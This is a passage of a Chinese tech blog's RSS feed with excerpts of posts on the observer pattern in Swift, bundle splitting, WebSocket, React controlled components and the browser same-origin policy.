&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;问题：在这种表示下，&amp;ldquo;猫&amp;quot;和&amp;quot;狗&amp;quot;的距离与&amp;quot;猫&amp;quot;和&amp;quot;经济学&amp;quot;的距离一样远——完全丢失了语义信息。&lt;/p&gt;</description></item><item><title>观察者模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%A7%82%E5%AF%9F%E8%80%85%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E8%A7%82%E5%AF%9F%E8%80%85%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;观察者模式（Observer Pattern）是一种行为型设计模式，它定义了对象之间的一对多依赖关系，当一个对象（主题/被观察者）的状态发生改变时，所有依赖于它的对象（观察者）都会收到通知并自动更新。&lt;/p&gt;
&lt;p&gt;观察者模式也被称为发布-订阅模式（Publish-Subscribe Pattern）。&lt;/p&gt;
&lt;h2 id="为什么需要观察者模式"&gt;为什么需要观察者模式&lt;/h2&gt;
&lt;p&gt;观察者模式要解决的核心问题是：&lt;strong&gt;当一个对象的状态发生变化时，如何自动通知所有依赖它的对象&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个电商App，用户登录后需要更新多个页面的状态（首页显示用户名、购物车同步、个人中心更新等）。&lt;/p&gt;
&lt;p&gt;最直接的方式可能是这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LoginService&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;login&lt;/span&gt;(username: String, password: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 登录成功后...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; user = User(name: username)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 直接调用各个需要更新的对象&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; HomeViewController.shared.updateUser(user)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CartViewController.shared.syncCart(&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: user)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ProfileViewController.shared.refreshProfile(user)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 如果还有其他需要通知的地方，继续添加...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;紧耦合&lt;/strong&gt;：LoginService必须知道所有需要通知的对象，依赖关系错综复杂&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难以维护&lt;/strong&gt;：每新增一个需要监听登录事件的页面，都要修改LoginService&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;违反开闭原则&lt;/strong&gt;：对扩展不开放，每次扩展都要修改已有代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单例滥用&lt;/strong&gt;：为了让LoginService能访问到各个页面，不得不使用大量单例&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;观察者模式的解决思路&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;被观察者（Subject）只负责&amp;quot;广播&amp;quot;状态变化，不关心谁在监听；观察者（Observer）自己注册感兴趣的事件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 使用NotificationCenter实现&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LoginService&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;login&lt;/span&gt;(username: String, password: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; user = User(name: username)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 只负责发送通知，不关心谁在监听&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NotificationCenter.&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.post(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name: .userDidLogin,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; object: &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userInfo: [&lt;span style="color:#e6db74"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;: user]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 各个页面自己注册监听&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;HomeViewController&lt;/span&gt;: UIViewController {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;override&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;viewDidLoad&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.viewDidLoad()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NotificationCenter.&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.addObserver(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; selector: &lt;span style="color:#66d9ef"&gt;#selector&lt;/span&gt;(handleUserLogin),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name: .userDidLogin,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; object: &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;@objc&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handleUserLogin&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; notification: Notification) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; user = notification.userInfo?[&lt;span style="color:#e6db74"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt;? User {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; updateUI(with: user)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;观察者模式的好处&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>代码分割工程化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-010/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-010/</guid><description>&lt;h2 id="什么是-bundle-splitting"&gt;什么是 Bundle Splitting？&lt;/h2&gt;
&lt;p&gt;Bundle Splitting（代码分割）是一种将前端资源拆分成更小、独立的模块的技术。传统上，前端资源（如 JavaScript、CSS 和图片等）被打包成单个文件，通常称为“bundle”。这种方式存在一个问题，即无论用户需要哪些功能，都必须下载整个 bundle。而 Bundle Splitting 技术通过将代码拆分为更小的模块，按需加载，可以有效解决这个问题。&lt;/p&gt;
&lt;h2 id="bundle-splitting-的优点"&gt;Bundle Splitting 的优点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;减少初始加载时间 通过将代码拆分为多个小块，可以减少初始加载时间。当用户首次访问网页时，只需下载当前页面所需的资源，而无需等待整个应用程序的加载完成。这可以极大地提高页面的响应速度，并减少用户的等待时间。&lt;/li&gt;
&lt;li&gt;提升用户体验 通过将代码分割成模块，可以使应用程序更具响应性。当用户与应用进行交互时，只需加载所需的代码块，而不是整个应用。这将减少不必要的资源消耗，并使用户感觉应用更加流畅和快速。&lt;/li&gt;
&lt;li&gt;优化缓存策略 拆分代码还能优化缓存策略。当应用程序发生更改时，只需重新加载发生变化的模块，而不必重新下载整个应用。这减少了不必要的网络请求，提高了应用的更新效率，并减轻了服务器的负载。&lt;/li&gt;
&lt;li&gt;并行加载资源 通过将代码拆分为多个模块，可以实现并行加载资源。浏览器能够同时下载多个文件，从而减少整体加载时间。这对于大型应用程序和复杂的前端框架特别有益，能够更好地利用浏览器的并行下载能力，提高资源的加载效率。&lt;/li&gt;
&lt;li&gt;代码复用和维护 通过将代码分割成模块，可以更好地实现代码的复用和维护。不同的模块可以根据需求进行加载和升级，使得代码结构更加清晰、模块化。这也有助于团队合作，不同开发者可以并行工作在不同的模块上，提高开发效率和代码质量。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="bundle-splitting-的缺点"&gt;Bundle Splitting 的缺点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;增加了网络请求 拆分代码会增加应用程序的网络请求次数。每个模块都需要进行一次独立的网络请求，这可能会导致一些额外的延迟和性能损失。在网络条件较差的情况下，这可能会对用户体验产生一定影响。&lt;/li&gt;
&lt;li&gt;增加了开发复杂性 使用 Bundle Splitting 技术需要对应用程序的依赖关系进行深入分析和管理。开发人员需要仔细考虑代码的拆分点，以及如何在运行时动态加载模块。这增加了开发复杂性，并要求开发人员具备较高的技术水平和经验。&lt;/li&gt;
&lt;li&gt;潜在的代码冗余 当模块之间存在共享的代码片段时，可能会出现潜在的代码冗余问题。如果不合理地进行代码拆分，可能会导致多个模块中存在相同的代码，增加了资源的下载和维护成本。因此，在进行代码拆分时，需要仔细考虑代码复用和代码冗余的问题。&lt;/li&gt;
&lt;li&gt;需要额外的工具和配置 Bundle Splitting 需要使用额外的工具和配置来实现代码的拆分和动态加载。这可能需要对构建工具进行配置，如 Webpack、Rollup 等，以及对模块加载器进行调整。这增加了一些学习成本和开发成本，尤其是对于新手来说。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="bundle-splitting-的适用场景"&gt;Bundle Splitting 的适用场景&lt;/h2&gt;
&lt;p&gt;Bundle Splitting 技术适用于大型的 Web 应用程序，特别是那些具有复杂功能和大量依赖的应用。以下是一些适合使用 Bundle Splitting 的场景：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大型单页应用：对于由多个模块组成的单页应用，使用 Bundle Splitting 可以提高初始加载速度，提升用户体验。&lt;/li&gt;
&lt;li&gt;按需加载：对于需要动态加载不同功能模块的应用，Bundle Splitting 可以根据用户的需求按需加载模块，减少不必要的资源消耗。&lt;/li&gt;
&lt;li&gt;公共库和框架：对于使用公共库或框架的应用，可以将这些库和框架拆分成单独的模块，以便在多个页面中共享和复用。&lt;/li&gt;
&lt;li&gt;国际化支持：对于需要支持多种语言的应用，可以将不同语言的资源文件拆分成独立的模块，根据用户的语言偏好进行加载。&lt;/li&gt;
&lt;li&gt;代码分支管理：对于大型团队开发的项目，使用 Bundle Splitting 可以更好地实现代码的分支管理和并行开发，提高开发效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bundle-splitting-在知名项目中的应用"&gt;Bundle Splitting 在知名项目中的应用&lt;/h2&gt;
&lt;h2 id="示例-1reactlazy-和-suspense"&gt;示例 1：React.lazy 和 Suspense&lt;/h2&gt;
&lt;p&gt;React.js 是一个广泛使用的 JavaScript 库，用于构建用户界面。React 提供了 React.lazy 和 Suspense API 来实现 Bundle Splitting。&lt;/p&gt;</description></item><item><title>WebSocket相关</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/</guid><description>&lt;h2 id="一前言"&gt;一、前言&lt;/h2&gt;
&lt;p&gt;因为项目中使用到了 WebSocket ，面试官在深挖项目经验的时候，也难免提到 WebSocket 相关的知识点，通过这篇文章再做一下总结。&lt;/p&gt;
&lt;h2 id="二什么是websocket"&gt;二、什么是WebSocket&lt;/h2&gt;
&lt;p&gt;WebSocket 是一种在单个TCP连接上进行全双工通信的协议。WebSocket 使得客户端和服务器之间的数据交换变得更加简单，允许服务端主动向客户端推送数据。&lt;/p&gt;
&lt;p&gt;在 WebSocket API 中，浏览器和服务器只需要完成一次握手，两者之间就直接可以创建持久性的连接， 并进行双向数据传输。&lt;/p&gt;
&lt;p&gt;WebSocket本质上一种&lt;code&gt;计算机网络应用层的协议&lt;/code&gt;，用来弥补http协议在持久通信能力上的不足。&lt;/p&gt;
&lt;p&gt;WebSocket 协议在2008年诞生，2011年成为国际标准。现在最新版本浏览器都已经支持了。&lt;/p&gt;
&lt;p&gt;它的最大特点就是，服务器可以主动向客户端推送信息，客户端也可以主动向服务器发送信息，是真正的双向平等对话，属于&lt;a href="https://en.wikipedia.org/wiki/Push_technology"&gt;服务器推送技术&lt;/a&gt;的一种。&lt;/p&gt;
&lt;p&gt;WebSocket 的其他特点包括：&lt;/p&gt;
&lt;p&gt;（1）建立在 TCP 协议之上，服务器端的实现比较容易。&lt;/p&gt;
&lt;p&gt;（2）与 HTTP 协议有着良好的兼容性。默认端口也是80和443，并且握手阶段采用 HTTP 协议，因此握手时不容易屏蔽，能通过各种 HTTP 代理服务器。&lt;/p&gt;
&lt;p&gt;（3）数据格式比较轻量，性能开销小，通信高效。&lt;/p&gt;
&lt;p&gt;（4）可以发送文本，也可以发送二进制数据。&lt;/p&gt;
&lt;p&gt;（5）没有同源限制，客户端可以与任意服务器通信。&lt;/p&gt;
&lt;p&gt;（6）协议标识符是&lt;code&gt;ws&lt;/code&gt;（如果加密，则为&lt;code&gt;wss&lt;/code&gt;），服务器网址就是 URL。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ws://example.com:80/some/path
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="为什么需要-websocket"&gt;为什么需要 WebSocket？&lt;/h3&gt;
&lt;p&gt;我们已经有了 HTTP 协议，为什么还需要另一个协议？它能带来什么好处？&lt;/p&gt;
&lt;p&gt;因为 HTTP 协议有一个缺陷：通信只能由客户端发起，不具备服务器推送能力。&lt;/p&gt;
&lt;p&gt;举例来说，我们想了解查询今天的实时数据，只能是客户端向服务器发出请求，服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;这种单向请求的特点，注定了如果服务器有连续的状态变化，客户端要获知就非常麻烦。我们只能使用&lt;a href="https://www.pubnub.com/blog/2014-12-01-http-long-polling/"&gt;&amp;ldquo;轮询&amp;rdquo;&lt;/a&gt;：每隔一段时候，就发出一个询问，了解服务器有没有新的信息。最典型的场景就是聊天室。轮询的效率低，非常浪费资源（因为必须不停连接，或者 HTTP 连接始终打开）。&lt;/p&gt;
&lt;p&gt;在 WebSocket 协议出现以前，创建一个和服务端进双通道通信的 web 应用，需要依赖HTTP协议，进行不停的轮询，这会导致一些问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务端被迫维持来自每个客户端的大量不同的连接&lt;/li&gt;
&lt;li&gt;大量的轮询请求会造成高开销，比如会带上多余的header，造成了无用的数据传输。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;http协议本身是没有持久通信能力的，但是我们在实际的应用中，是很需要这种能力的，所以，为了解决这些问题，WebSocket协议由此而生，于2011年被IETF定为标准RFC6455，并被RFC7936所补充规范。&lt;/p&gt;
&lt;p&gt;并且在HTML5标准中增加了有关WebSocket协议的相关api，所以只要实现了HTML5标准的客户端，就可以与支持WebSocket协议的服务器进行全双工的持久通信了。&lt;/p&gt;
&lt;h3 id="websocket-与-http-的区别"&gt;WebSocket 与 HTTP 的区别&lt;/h3&gt;
&lt;p&gt;WebSocket 与 HTTP的关系图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-010/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;相同点：&lt;/strong&gt; 都是一样基于TCP的，都是可靠性传输协议。都是应用层协议。&lt;/p&gt;</description></item><item><title>受控组件和非受控组件</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-010/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-010/</guid><description>&lt;p&gt;前端开发经常会涉及表单的处理，或者其他一些用于输入的组件，比如日历组件。&lt;/p&gt;
&lt;p&gt;涉及到输入，就绕不开受控模式和非受控模式的概念。&lt;/p&gt;
&lt;p&gt;什么是受控，什么是非受控呢？&lt;/p&gt;
&lt;p&gt;想一下，改变表单值只有两种情况：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-010/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;用户去改变 value 或者代码去改变 value。&lt;/p&gt;
&lt;p&gt;如果不能通过代码改表单值 value，那就是非受控，也就是不受我们控制。&lt;/p&gt;
&lt;p&gt;但是代码可以给表单设置初始值 defaultValue。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-010/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;代码设置表单的初始 value，但是能改变 value 的只有用户，代码通过监听 onChange 来拿到最新的值，或者通过 ref 拿到 dom 之后读取 value。&lt;/p&gt;
&lt;p&gt;这种就是非受控模式。&lt;/p&gt;
&lt;p&gt;反过来，代码可以改变表单的 value，就是受控模式。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-010/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;注意，value 和 defaultValue 不一样：&lt;/p&gt;
&lt;p&gt;defaultValue 会作为 value 的初始值，后面用户改变的是 value。&lt;/p&gt;
&lt;p&gt;而一旦你给 input 设置了 value，那用户就不能修改它了，可以输入触发 onChange 事件，但是表单的值不会变。&lt;/p&gt;
&lt;p&gt;用户输入之后在 onChange 事件里拿到输入，然后通过代码去设置 value。&lt;/p&gt;
&lt;p&gt;这就是受控模式。&lt;/p&gt;
&lt;p&gt;其实绝大多数情况下，非受控就可以了，因为我们只是要拿到用户的输入，不需要手动去修改表单值。&lt;/p&gt;
&lt;p&gt;但有的时候，你需要根据用户的输入做一些处理，然后设置为表单的值，这种就需要受控模式。&lt;/p&gt;
&lt;p&gt;或者你想同步表单的值到另一个地方的时候，类似 Form 组件，也可以用受控模式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;value 由用户控制就是非受控模式，由代码控制就是受控模式&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我们写代码试一下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx create&lt;span style="color:#f92672"&gt;-&lt;/span&gt;vite
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-010/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;创建 vite + react 的项目。&lt;/p&gt;
&lt;p&gt;去掉 main.tsx 的 index.css 和 StrictMode：&lt;/p&gt;</description></item><item><title>浏览器的同源策略</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-010/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-010/</guid><description>&lt;h2 id="概述"&gt;概述&lt;/h2&gt;
&lt;p&gt;本文从以下三个问题，循序渐进，一步步拆解，何为浏览器的同源策略和跨域问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;什么是同源策略和跨域问题？&lt;/li&gt;
&lt;li&gt;怎样才算同源？&lt;/li&gt;
&lt;li&gt;同源策略下会有什么限制？&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="什么是同源策略和跨域问题"&gt;什么是同源策略和跨域问题？&lt;/h2&gt;
&lt;p&gt;同源政策是 1995 年由 Netscape 公司（就是创造了 JS 的那家网景公司）引入浏览器的一种策略。&lt;/p&gt;
&lt;p&gt;想要理解同源策略的话，可以先假设如果没有同源策略会发生什么事情。接下来我们通过一则恐怖故事代入理解一下没有同源策略的世界：&lt;/p&gt;
&lt;p&gt;在某个深夜，小明独自一人在家浏览网页，无意间打开了一些特殊网站，而恰巧的是，小明之前刚好打开过某些重要支付平台的网站且还没关闭，这时特殊网站里面可能有一些特殊 JS 脚本，在偷偷获取小明支付平台上的信息，并且偷偷利用了这些信息再结合某些手段，成功把小明支付平台上的钱转走了，小明上完厕所回来后，突然收到支付平台转账成功的短信，然后然后然后瘫坐在地上，泣不成声，仰天长啸，大喊一声：“还我攒了半年的 9.99~”&lt;/p&gt;
&lt;p&gt;恐怖故事听完了，我们来先上个概念，什么是同源策略？&lt;/p&gt;
&lt;p&gt;&lt;a href="https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy"&gt;借用 MDN 上的描述&lt;/a&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;同源策略&lt;/strong&gt;是一个重要的安全策略，它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档，减少可能被攻击的媒介。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;怎么理解这个概念呢？举个栗子，随着汽车数量的上升，现在很多城市都有各种限行政策，就拿广州来说，如果不是 &lt;code&gt;粤A&lt;/code&gt; 的车牌进入城区的话会有开四停四的限行限制。&lt;/p&gt;
&lt;p&gt;同源策略跟汽车限行政策有一点点像，同源策略规定在“同源”下的脚本、文档等资源访问不受限（有点像 &lt;code&gt;粤A&lt;/code&gt; 牌的汽车在广州内行驶不会被限行），如果不是“同源”则无法互相访问脚本、文档等资源（非 &lt;code&gt;粤A&lt;/code&gt; 牌的汽车在广州市区内受开四停四政策限制）&lt;/p&gt;
&lt;p&gt;理解了同源策略后，对于跨域就很好理解了，同源策略是好，我们也需要同源策略，但有些时候我们确实需要不同源的两个网页互相读取信息，这是就产生了跨域问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;额外补充&lt;/strong&gt;，同源策略是浏览器的行为，是浏览器的行为，是浏览器的行为（对于这点的解析可以参考：&lt;a href="https://blog.csdn.net/l_z_jay/article/details/121431204"&gt;同源策略下，服务器会收到浏览器的请求吗？&lt;/a&gt;）&lt;/p&gt;
&lt;h2 id="怎样才算同源"&gt;怎样才算同源？&lt;/h2&gt;
&lt;p&gt;所谓“同源”，就是以下三者必须&lt;strong&gt;都相同&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;协议相同&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;协议&lt;strong&gt;相同&lt;/strong&gt;的两个域名：（都是 &lt;code&gt;https&lt;/code&gt; 协议）&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;协议&lt;strong&gt;不同&lt;/strong&gt;的两个域名：（一个是 &lt;code&gt;http&lt;/code&gt; 协议，一个是 &lt;code&gt;https&lt;/code&gt; 协议）&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;域名相同&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;域名&lt;strong&gt;相同&lt;/strong&gt;的两个域名：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;域名&lt;strong&gt;不同&lt;/strong&gt;的两个域名：（一个是&lt;a href="https://help.aliyun.com/document_detail/155782.html#h2-u4EC0u4E48u53EBu5B50u57DFu540D1"&gt;二级域名&lt;/a&gt;，一个是&lt;a href="https://help.aliyun.com/document_detail/155782.html#h2-u4EC0u4E48u53EBu5B50u57DFu540D1"&gt;三级域名&lt;/a&gt;）（可能这个是最容易记错的）&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;端口相同&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
